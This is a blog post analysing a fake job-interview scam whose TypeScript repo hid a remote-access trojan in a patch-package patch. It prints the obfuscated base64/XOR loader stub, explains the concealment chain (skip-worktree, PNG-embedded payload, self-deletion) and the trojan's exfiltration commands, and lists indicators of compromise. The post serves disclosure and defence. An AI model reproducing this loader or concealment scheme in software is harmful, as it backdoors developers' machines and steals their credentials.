Cached at:
06/26/26, 04:10 PM
# Anatomy of a Failed (Nation-State?) Attack
Source: [https://grack.com/blog/2026/06/25/dissecting-a-failed-nation-state-attack/](https://grack.com/blog/2026/06/25/dissecting-a-failed-nation-state-attack/)
**Disclosures**
🧠 This post is fully human\-written: all prose with the exception of the IoC information\. Because it was time\-sensitive, Claude was used to accelerate the RAT analysis and build an IoC\-detection script\.
As I live in Canada, this information was reported to the appropriate Canadian agencies \(CCCS et al\)\. The payload\-laden image does not trigger any AV engines[on VirusTotal](https://www.virustotal.com/gui/file/7af7864333f5d6dec2a137e2c123019dea27cae8c30b0f293b310c969635c90e/detection)\.
The attacker’s identity is fictitious, but there are uninvolved individuals with the same name that they may be confused for and have been omitted from this piece\.
This week I came too close to falling for a[fake\-interview scam](https://manishearth.github.io/blog/2026/06/17/the-future-of-the-con-is-already-here/)designed to backdoor my machine, and from the context of the emails, I assume my packages on[crates\.io](https://crates.io/)\.
Note: I’m calling it the “PinpinRAT” because of some of the internal strings, but it’s possible this has another name out there\. I couldn’t find any other references to it online\.
A week and a half ago I received an email from “D█████ S████” claiming to be from Lua Ventures, a \(unbeknownst to me at the time\) defunct Singapore\-based VC in the DeFi space\.*To be clear: this is a fabricated persona*, and the name was likely chosen to be easily mistaken for one of a number of real people with the name\.
[](https://grack.com/assets/2026/06/email1-shadow.png)
It looked like a real email, including a link to a somewhat boring, but legitimate\-looking LinkedIn profile\.
[](https://grack.com/assets/2026/06/linkedin-shadow.png)
The attacker even name\-dropped two of their investments that were specifically looking for advisory work: Lyrasing and Roadpay\. Searching for either of the companies wasn’t really a flag \- they both had some very basic web presense, but nothing that would indicate they were fake rather than just*early stage*\.[\(archive\.org snapshot of roadpay\.cc\)](https://web.archive.org/web/20260626011734/https://roadpay.cc/en)\.
[](https://grack.com/assets/2026/06/email2-shadow.png)
We went back and forth on a meeting time and eventually settled on a time we were going to chat\. There was nothing odd about the call itself, either\. A somewhat\-difficult\-to\-understand man with a German accent was on the other line\. He said he was taking the call while travelling which was a bit odd, but again, not necessarily a flag\.
[](https://grack.com/assets/2026/06/email3-shadow.png)
After the call came the bait\. A follow\-up email that offered up a “test”\.
[](https://grack.com/assets/2026/06/email4-shadow.png)
At this point I was mildly annoyed, but not suspicious\. I cloned the repo, but the first true red flag only fired here\.
Where I got lucky: they sent me a TypeScript repo\. It didn’t make sense to me\. The instructions looked more like a TypeScript job interview than any sort of architecture analysis\. I decided to zip up the repo and toss it into the Claude to get a quick scan \- a combination of caution and laziness\.
A few moments later it had identified some oddities:
> Notably, the root package\.json has no postinstall/preinstall hook — interesting, because they use patch\-package, which is normally wired to a postinstall\. Let me check every package\.json for lifecycle scripts, then audit the patch files \(the real risk surface — patches can inject arbitrary code into node\_modules\)\.
That piqued my interest\. I scanned the directories myself and noticed a fairly unreasonable number of`patches/`directories\. The first few I checked seemed innocent enough, but as you might have guessed, they were just trying to add noise so the real payload wouldn’t get caught\.
```
packages/electron-benchmarks/patches/sumchecker+3.0.1.patch
packages/electron-benchmarks/patches/@electron+get+2.0.3.patch
packages/electron-benchmarks/patches/extract-zip+2.0.1.patch
```
While I was checking slowly by hand, Claude identified first signs of PinpinRAT:
> I found it\. This is a malicious payload\. Embedded in the`typescript\+5\.9\.2\.patch`file — inside what is presented as a routine “module specifier” patch to TypeScript — there is a base64\-blob self\-executing obfuscation stub injected at the very top of both`\_tsc\.js`and`typescript\.js`:
> ``` ;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/ void "ticket-harbor-tsc-shim-anchor"; ```
> This decodes a base64 string, XOR\-decrypts every byte with the key 73, and runs the result through new Function\(…\) with require, process, Buffer, etc\. handed in\. That is a hidden code\-execution payload that fires every time tsc or anything importing typescript\.js runs — i\.e\. on the very first npm run typecheck / build / dev\.
… and that’s the point where I decided to stop poking the bear on my own machine\. I zipped it up with a password to stop myself from accidentally detonating it and kept running the analysis in the sandbox\.
## The Trap
The repo is themed as a ferry\-ticketing app named “Ticket Harbor”\. The`task\.txt`included in the bundle was a plausible set of boring tasks, but ended with:
> Run the repo typecheck, test suite, and relevant desktop/server build commands before submitting\.
That instruction is the trap that gets you\.
The chain works like this:
1. Four separate`postinstall`hooks run`patch\-package`\. But one of them also runs`git update\-index \-\-skip\-worktree`on the patch files, which hides them from`git status`\.
2. The`typescript\+5\.9\.2\.patch`injects a self\-executing stub at the top of`typescript\.js`and`\_tsc\.js`\. This is a lightly\-obfuscated blob fed into`new Function\(\.\.\.\)`\(avoiding`eval`, presumably to avoid malware detection\)\.
3. That loader reads a hidden chunk appended to a file named`operators/3\.png`, runs a small embedded WASM stub \(in a custom`wAsm`chunk\), then spawns a detached, silent Node process carrying a 1\.68 MB obfuscated second\-stage payload\.
4. It cleans up after itself at three layers: the`git skip\-worktree`trick, the dropper rewrites the`patch`to delete its own injected lines after first run, and the stage\-2 temp directory self\-deletes on execution\.
The*actual*payload is a RAT \(a remote\-access trojan\)\. I was originally worried this was a credential stealer but that’s a lot worse\. PinpinRAT is nested in three obfuscated layers which were a pain to unwrap: obfuscator\.io \(which claims LLM protection, hah\), and two further base64 layers\.
## What it drops
In the interest of 1\) quickly sharing this info and 2\) not accidentally detonating malware on my own machines, I let Claude tear apart the actual trojan in its sandbox and had it describe it to me\.
To be absolutely clear: Claude was able to reverse engineer multiple levels of obfuscation over about 5 minutes of work, which is far faster than I could have\.
The drop is a full remote\-access trojan that seems to have been put together by someone who knows what they are doing\. It sets up an RSA key locally and uses AES\-256\-CBC as a session key\.
On startup it calls a checkin routine that harvests and exfiltrates a host fingerprint:
- primary IP address \(enumerates all non\-internal interfaces\), plus all IPs
- username \(`os\.userInfo\(\)\.username`\)
- hostname
- OS type \+ release \+ platform \+ architecture
- process PID and full`process\.argv`
- Node version
It generates an RSA\-2048 keypair and a random AES\-256 session key \(aes\_psk\), then all subsequent traffic is AES\-256\-CBC encrypted with an HMAC\-SHA256 integrity tag\.
It supports the following commands:
- `env`— JSON\.stringify\(process\.env\) dumped and sent back\.
- `upload`— reads an arbitrary file path and exfiltrates it\.
- `download`— writes attacker\-supplied bytes to any writable path\.
- `spawn`— runs an arbitrary process with optional shell expansion\.
- `ls`/`cd`/`pwd`/`cp`/`mv`— general filesystem primitives\.
- `dns`— makes the host resolve arbitrary names through a specified resolver \(for DNS tunneling?\)\.
- `dismantle`— self\-removal\.
## Indicators of Compromise
If you ended up running one of these, you should immediately disconnect your system from the network and rotate your credentials from another machine\. Remediation*should*be straightforward, but consider your credentials \(including cookies and password\-protected secrets\) compromised\.
These are some indicators of compromise found in the PinpinRAT malware:
- C2: 89\.124\.107\.161:80
- Scheduled task \(Windows\):`PinpinWrappedJs`
- Process masquerade \(macOS\):`com\.apple\.WebKit\.Networking`
- Env vars:`NODT\_PAYLOAD\_PATH`,`NODT\_PAYLOAD\_ARGS`
- PNG chunk guard:`WASMPACK`\(wAsm\)
- `PINPIN\_NO\_AUTOSTART=1`: stops persistence
- cronjob with`mutex\.js`\(only if the RAT had permission, may not exist on macOS\)
- Anchor strings in`typescript\.js`:`12ff4b51`,`ticket\-harbor\-tsc\-shim\-anchor`
- `typescript\+5\.9\.2\.patch`with the payload
- Artifact dirs:`~/Library/Caches/runtime\-cache/\.cache\-<randomhex\>/`\(macOS\),`/tmp/\.cache\-<randomhex\>/`\(Linux\),`%TEMP%\\\.cache\-<randomhex\>\\`\(Windows\)- \.\. containing`payload\.js`and`mutex\.js`
## So who was this?
It’s impossible to say for sure, but this was targeted, had a pretty convincing cover story with a fake persona, multiple fake websites with stolen history, and a patient timeline\. The`git`trap was sophisticated\. This “fake\-interview scam” has been a theme for a number of actors in 2026\.
Who is actually behind this is the responsibility of the agencies now\. What*is*worth noting is that this was targeted to developers like you and I, and that I was lucky enough to see a red flag right before springing the trap\.
And to be honest, what’s terrifying and sobering to me is that if this had been a Rust repository with a booby\-trapped`build\.rs`script, I might have even fallen for it\.